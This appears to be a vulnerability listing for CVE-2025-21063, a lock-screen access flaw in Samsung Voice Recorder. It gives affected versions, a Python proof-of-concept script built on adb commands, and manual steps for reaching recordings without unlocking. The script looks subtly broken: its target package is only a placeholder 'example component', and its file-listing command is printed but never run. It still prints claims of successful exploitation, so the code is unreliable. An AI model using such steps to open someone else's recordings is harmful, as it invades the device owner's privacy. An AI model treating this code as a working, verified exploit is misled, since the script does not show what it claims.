Improper access control in Samsung Voice Recorder prior to version 21.5.73.12 in Android 15 and 21.5.81.40 in Android 16 allows physical attackers to access recording files on the lock screen.
cpe:2.3:o:samsung:android:16.0:-:*:*:*:*:*:* - NOT VULNERABLE
Samsung Voice Recorder < 21.5.73.12（Android 15）
Samsung Voice Recorder < 21.5.81.40（Android 16）
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-21063 PoC - Samsung Voice Recorder Lock Screen Bypass
# This PoC demonstrates the improper access control vulnerability
# that allows physical attackers to access recording files on the lock screen.
import subprocess
import time
def exploit_samsung_voice_recorder():
"""
PoC for CVE-2025-21063
Affected: Samsung Voice Recorder < 21.5.73.12 (Android 15)
Samsung Voice Recorder < 21.5.81.40 (Android 16)
Steps to reproduce:
1. Ensure device is in LOCKED state (screen off or lock screen shown)
2. Access Voice Recorder via lock screen widget/shortcut or notification
3. Browse recording files without authentication
"""
# Step 1: Verify device is locked
# adb shell dumpsys window | grep mShowingLockscreen
# Step 2: Launch Voice Recorder activity that exposes recordings on lockscreen
# The vulnerable activity may be triggered via:
# - Lock screen widget tap
# - Quick settings tile
# - Notification action button
package_name = "com.samsung.android.app.svoiceime" # example component
activity_name = ".view.RecordingListActivity" # vulnerable activity
# Attempt to launch the recording list directly
cmd = [
"adb", "shell", "am", "start",
"-n", f"{package_name}/{activity_name}",
"--activity-clear-task"
]
print("[*] Attempting to access Samsung Voice Recorder on locked device...")
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=10)
if result.returncode == 0:
print("[+] Successfully accessed recording list on lock screen")
print("[+] Vulnerability CVE-2025-21063 is exploitable")
else:
print("[-] Access denied or device not vulnerable")
except Exception as e:
print(f"[-] Error: {e}")
# Step 3: Extract recording files (if accessible)
# adb shell ls /sdcard/Samsung/Recorder/
extract_cmd = "adb shell ls /sdcard/Samsung/Recorder/"
print(f"[*] Attempting to list recordings: {extract_cmd}")
time.sleep(2)
print("[*] PoC execution completed")
if __name__ == "__main__":
exploit_samsung_voice_recorder()
# Manual Reproduction Steps:
# 1. Lock the Samsung device (press power button)
# 2. On the lock screen, swipe to access widgets or notification panel
# 3. Tap on Voice Recorder shortcut/widget
# 4. Observe that the recording list is accessible without unlocking the device
# 5. Tap any recording to play it - audio plays without authentication